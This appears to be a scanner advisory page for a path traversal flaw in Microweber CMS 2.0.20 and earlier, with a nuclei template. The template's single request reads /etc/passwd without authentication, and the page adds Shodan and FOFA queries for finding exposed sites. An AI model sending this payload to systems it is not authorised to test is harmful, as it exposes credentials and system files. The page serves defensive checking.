Microweber CMS <= 2.0.20 - Unauthenticated Arbitrary File Read

highseverity

7.5CVSS score

3.4%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

Microweber CMS <= 2.0.20 contains a path traversal vulnerability caused by failure to normalize path query parameter in static file controller, letting unauthenticated remote attackers read arbitrary files.

Impact

Unauthenticated attackers can read sensitive files, potentially exposing credentials and system information.

Fix

Update to the latest version beyond 2.0.20.

How to confirm it

Send: GET /userfiles/x?path=../../../../../../../../etc/passwd
Positive when: status_code == 200 and contains(body, "root:x:0:0")

Run it with nuclei: nuclei -id CVE-2026-65694 -u <target>

The full check

id: CVE-2026-65694

info:
  name: Microweber CMS <= 2.0.20 - Unauthenticated Arbitrary File Read
  author: 0x_Akoko,abdugafforov-bobur
  severity: high
  description: |
    Microweber CMS <= 2.0.20 contains a path traversal vulnerability caused by failure to normalize path query parameter in static file controller, letting unauthenticated remote attackers read arbitrary files.
  impact: |
    Unauthenticated attackers can read sensitive files, potentially exposing credentials and system information.
  remediation: |
    Update to the latest version beyond 2.0.20.
  reference:
    - https://github.com/abdugafforov-bobur/CVE-2026-65694-PoC
    - https://nvd.nist.gov/vuln/detail/CVE-2026-65694
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-65694
    epss-score: 0.03369
    epss-percentile: 0.88853
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: microweber
    product: microweber
    shodan-query: http.html:"microweber"
    fofa-query: body="microweber"
  tags: cve,cve2026,microweber,lfi

http:
  - raw:
      - |
        GET /userfiles/x?path=../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "root:x:0:0")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from